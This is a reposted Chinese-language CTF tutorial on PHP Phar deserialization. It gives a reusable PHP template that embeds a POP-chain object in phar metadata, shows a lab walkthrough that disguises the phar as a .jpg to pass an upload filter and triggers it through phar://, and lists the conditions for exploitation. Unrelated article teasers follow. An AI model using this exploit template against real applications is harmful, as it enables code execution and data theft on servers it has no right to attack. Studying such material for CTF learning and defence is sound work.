PHP反序列化漏洞之Phar

news2024/11/16 18:33:51

目录

1、认识phar类型文件

2、制作phar文件

3、phar的上传与读取

4、漏洞利用的条件


1、认识phar类型文件

这种文件可以通过phar协议来读取(使用phar://后面接文件路径即可读取)

先给大家看一下phar文件的大致样子:

 它一般包括头部信息:<?php __HALT_COMPILER(); ?>

中间包括manifest(phar文件的属性等信息):以序列化的方式存储

当读取phar文件时,会自动反序列化manifest中的字符串

2、制作phar文件

注意:制作phar文件的php环境需要>5.0,并且设置php.ini中:phar.readonly=Off,否则会报readonly的错误,php.ini在你安装PHPstudy的路径下。

这里还可能遇到一个问题,就是你装的VS扩展有东西可能没配置好 

会出现就算你改成了off也可能无法生成phar文件

可以尝试下面修改:

phar前面不能有 “ ; ”  有的话要删掉

使用下面模板

<?php
//------这个区域放构造链中需要的类,来源于题目
    class XXX{
    }
    
  //------------ -------------
   //构造POP链
    $o = new XXX();
    $o->X = "XX";
    
    //链子构造之后不用serialize(),因为下面的setMatadata会自动序列化
    
    //开始制作phar文件
    @unlink("my.phar");    //删除之前的my.phar文件(如果有)
    $phar = new Phar("my.phar");    //创建一个phar对象,文件名必须以phar为后缀
    $phar->startBuffering();            //开始写文件
    $phar->setStub("<?php __HALT_COMPILER(); ?>");    //写入stu头部信息
    $phar->setMetadata($o);    //重点!!将构造好的链子写入meta-data也就是manifest字段,这里会自动进行序列化,因此传入链头就行。其实可以理解为serialize($o);
    $phar->addFromString("my.txt", "my");
    $phar->stopBuffering();
?>

我们来看一道例题

简单审计一下代码还是很简单的,只需要触发__destruct()函数即可

__destruct() 是析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

比如new一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct, unserialize()反序列化一个对象,完成之后也会丢弃这个对象。

因此,这里我们只需要new一下就可以触发__destruct()函数

构造pop链:

$t = new TestObject(); 

$t就是链头,将pop链和链头都添加进我们的脚本模块

再将题目中的类TestObject添加到我们的模块,如下:

<?php
//------这个区域放构造链中需要的类,来源于题目
   class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
  //------------ -------------
   //构造POP链
    $t = new TestObject();
    
    //链子构造之后不用serialize(),因为下面的setMatadata会自动序列化
    
    //开始制作phar文件
    @unlink("my.phar");    //删除之前的my.phar文件(如果有)
    $phar = new Phar("my.phar");    //创建一个phar对象,文件名必须以phar为后缀
    $phar->startBuffering();            //开始写文件
    $phar->setStub("<?php __HALT_COMPILER(); ?>");    //写入stu头部信息
    $phar->setMetadata($t);    //重点!!将构造好的链子写入meta-data也就是manifest字段,这里会自动进行序列化,因此传入链头就行。其实可以理解为serialize($o);
    $phar->addFromString("my.txt", "my");
    $phar->stopBuffering();
?>

因此,在做这类题的时候,我们套用模板只需要修改这三个地方

 运行之后我们得到了一个phar文件

至此,我们已经掌握了phar文件的制作方法

3、phar的上传与读取

题目给了upload.php路径,我们直接访问

直接上传phar文件发现没有上传成功

 经过尝试后发现这里是需要传jpg类型

我们直接修改phar文件的后缀,修改成符合要求的后缀

(顺便说一下,这个后缀对我们的phar文件没有任何影响,根据题目来就行,要求传zip、png、jpg还是其他类型,修改成对应的后缀就行)

上传成功,且得到了文件所在路径

这个时候我们再去读取这个phar文件

题目要求使用post方式给file传值

即可拿到我们想要的东西

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

4、漏洞利用的条件

(1)能上传文件到服务器 ,无论是什么类型的文件,只要能上传文件就行
(2)具备可利用的反序列链
(3)能具有读取文件操作的函数并且函数中的参数可控

         比如file_get_contens($filename),$filename可控。

重点和难点还是pop链的构造 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/712919.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows10下使用wsl2+ubuntu1804

一定好好看官方文档 适用于 Linux 的 Windows 子系统文档 | Microsoft Learn 一、安装WSL 1.1、方式一&#xff1a; 现在&#xff0c;可以使用单个命令安装运行 WSL 所需的一切内容。 在管理员模式下打开 PowerShell 或 Windows 命令提示符&#xff0c;方法是右键单击并选择…

OpenAI Gym入门与实操(3)

接前一篇文章&#xff1a;OpenAI Gym入门与实操&#xff08;2&#xff09; 本文内容参考&#xff1a; Getting Started With OpenAI Gym | Paperspace Blog&#xff0c; 【强化学习】 OpenAI Gym入门&#xff1a;基础组件&#xff08;Getting Started With OpenAI Gym: The B…

leetcode 989.数组形式的整数加法

⭐️ 题目描述 &#x1f31f; leetcode链接&#xff1a; 数组形式的整数加法 ⭕️ 代码&#xff1a; /*思路&#xff1a;数组从后往前和k的低位相加&#xff0c;若大于等于10则进一.[1 , 2 , 0 , 0] 3 44 3 2 1 最后逆置数组即可。 */ int* addToArrayForm(…

【进程】快速上手进程操作

目录 0. 进程概述 1. 创建进程 1.1 进程的创建&#xff1a;fork函数 1.2 进程的等待&#xff1a;wait()、waitpid() 1.3 特殊进程&#xff1a;僵尸进程、孤儿进程、守护进程 1.4 进程的终止&#xff1a;exit和_exit函数 1.5 进程退出清理&#xff1a;atexit函数 1.6 进…

自动部署代码导致接口访问404

问题原因&#xff1a;.user.ini文件中open_basedir与线上服务器中不同导致 由于.user.ini文件特殊性质 需要修改其中文件需要root权限也无法完成 推荐文章(linux系统中文件有哪些隐藏属性_帮助中心_文汇软件_山东文汇信息【官方网站】) 即可解决

【elementplus】body设置zoom后,el-table开启show-overflow-tooltip后,表格的tooltip显示会错位的解决方案

由于我的项目是无法避免使用zoom&#xff0c;所以只记录zoom后的解决方案 示例&#xff1a;明明划过的是第一行&#xff0c;tooltip却显示到了第四行的位置&#xff1b; 正确显示&#xff1a;划过第一行&#xff0c;tooltip显示在第一行的位置 代码&#xff1a;使用transfor…

关于 Asyncio,别再使用run_until_complete了

熟悉Python 的 Asyncio 进行异步编程的小伙伴肯定对下面的写法不陌生&#xff1a; import asyncioasync def test():await asyncio.sleep(3)print("Test rersult")loop asyncio.get_event_loop() loop.run_until_complete(test())这种写法也是在网上搜到的最多的协…

VUE小白学习-官方网站资料学习-2023年5月22日

VUE小白学习-官方网站资料学习-2023年5月22日 VUE干啥的&#xff1f;单文件组件&#xff1f;官方说&#xff0c;VUE前端万金油。 日期&#xff1a;2023年5月22日 VUE干啥的&#xff1f; 是一个前端框架&#xff0c;有自己的一套规则&#xff0c;方便前端开发。 单文件组件&am…

企业微信扫码登陆-详细案例

以下是实现的pc端企微扫码登陆&#xff0c;话不多时&#xff0c;直接上代码。。。 第1步&#xff1a;企业微信自建应用 第二步&#xff1a;获取到之后拿到 整体流程&#xff1a; 1.企业发起授权登录请求&#xff0c;企业微信用户允许授权后&#xff0c;企业微信会重定向到企业…

Windows基于WSL搭建Python数据分析环境

最近配置了一台较为不错的台式机&#xff0c;记录下自己配置环境的过程。 安装WSL&#xff0c;提供Linux环境 如果你发现后续的命令无法运行或者说软件商城中找不到&#xff0c;这可能意味着你的操作系统不符合要求。WSL安装要求 Windows 10 version 2004&#xff08;Build 19…

C++之H数回信

void H数(int 数) {int Lin 数;while (Lin>1){if (!(Lin % 2) || !(Lin % 3) || !(Lin % 5) || !(Lin % 7)){if (!(Lin % 2))Lin / 2;else if (!(Lin % 3))Lin / 3;else if (!(Lin % 5))Lin / 5;else if (!(Lin % 7))Lin / 7;}else return;}cout << 数 << ends…

Proxmox 8.0 “Virtual Environment”发布

导读Proxmox发布新产品Proxmox VE8.0&#xff0c;基于Debian 12.该版本集成了新的Linux内核6.2、QEMU 8.0.2、LXC 5.0.2和OpenZFS 2.1.12&#xff0c;并且还有其他一些新功能和改进。 更新的部分包括更新的Ceph服务器、安装程序ISO增加基于文本的用户界面、整合主机网络桥和VN…

STM32 Proteus UCOSII系统DS1302万年历时钟秒表控制系统-0056

STM32 Proteus UCOSII系统DS1302万年历时钟秒表控制系统-0056 Proteus仿真小实验&#xff1a; STM32 Proteus UCOSII系统DS1302万年历时钟秒表控制系统-0056 功能&#xff1a; 硬件组成&#xff1a;STM32F103R6单片机 LCD1602显示器多个按键DS1302北京时间 1.单片机程序使…

java 分布式事务seata的使用

首先创建一个seata的springboot模块并引入seata的起步依赖 <dependency><groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-seata</artifactId> </dependency>模块的目录结构如下 seata.yaml中的内容为&…

vscode高亮插件——highlight-words(高亮代码、高亮变量、突出显示)

文章目录 官方教程高亮文字使用方法配置 演示变量高亮&#xff08;Highlight Toggle Current&#xff09;选择高亮&#xff08;Highlight Selection with Options&#xff09;删除高亮&#xff08;Highlight Remove&#xff09;侧边栏&#xff08;Highlight Toggle Sidebar&…

软件测试用例编写规范文档,模板都给你了我看谁还不会写测试用例

目录 前言 一 概述 1.1目的 1.2使用范围 二 测试用例编写原则 2.1系统性 2.2连贯性 2.3全面性 三 测试用例设计方法 3.1 等价类划分法&#xff1a; 3.2 边界值分析法&#xff1a; 3.3 因果图法&#xff1a; 3.4功能图法 3.5错误推测法 四 测试用例编写规范 4.1…

【ARM】-指令预取中止异常中断处理程序的返回

文章目录 处理流程示例 处理流程 在指令预取时&#xff0c;如果目标地址是非法的&#xff0c;该指令被标记成有问题的指令。这时&#xff0c;流水线上该指令之前的指令继续执行。当执行到该被标记成有问题的指令时&#xff0c;处理器产生指令预取中止异常中断。 当发生指令预取…

解决进入虚拟环境venv后pip路径仍然是在全局路径usr/bin下的问题

问题 解决方法 尝试手动安装pip到你的虚拟环境中。首先&#xff0c;确保在虚拟环境中运行以下命令&#xff1a; python -m ensurepip然后&#xff0c;使用以下命令安装pip到你的虚拟环境中&#xff1a; python -m pip install --upgrade pip

XR-FRAME 开始

目录 新建一个XR组件在页面中使用这个组件添加一个物体来点颜色和灯光有点寡淡&#xff0c;加上图像让场景更丰富&#xff0c;环境数据动起来&#xff0c;加入动画还是不够&#xff0c;放个模型再来点交互组件通信&#xff0c;加上HUD虚拟 x 现实&#xff0c;追加AR能力识别人脸…

ChatGLM6B LORA微调

ChatGLM6B&ChatGLM2-6B微调 目录 ChatGLM6B&ChatGLM2-6B微调 微调硬件需求 3.1. LoRA概述 3.2. LoRA微调ChatGLM步骤 3.2.1. 项目和环境搭建 3.2.2. 数据集处理 3.2.3. 微调 3.2.4. 推理 3.2.5. 完整过程 3.3. LoRA微调ChatGLM步骤-——huggingface PEFT 3.3.1. 项目和…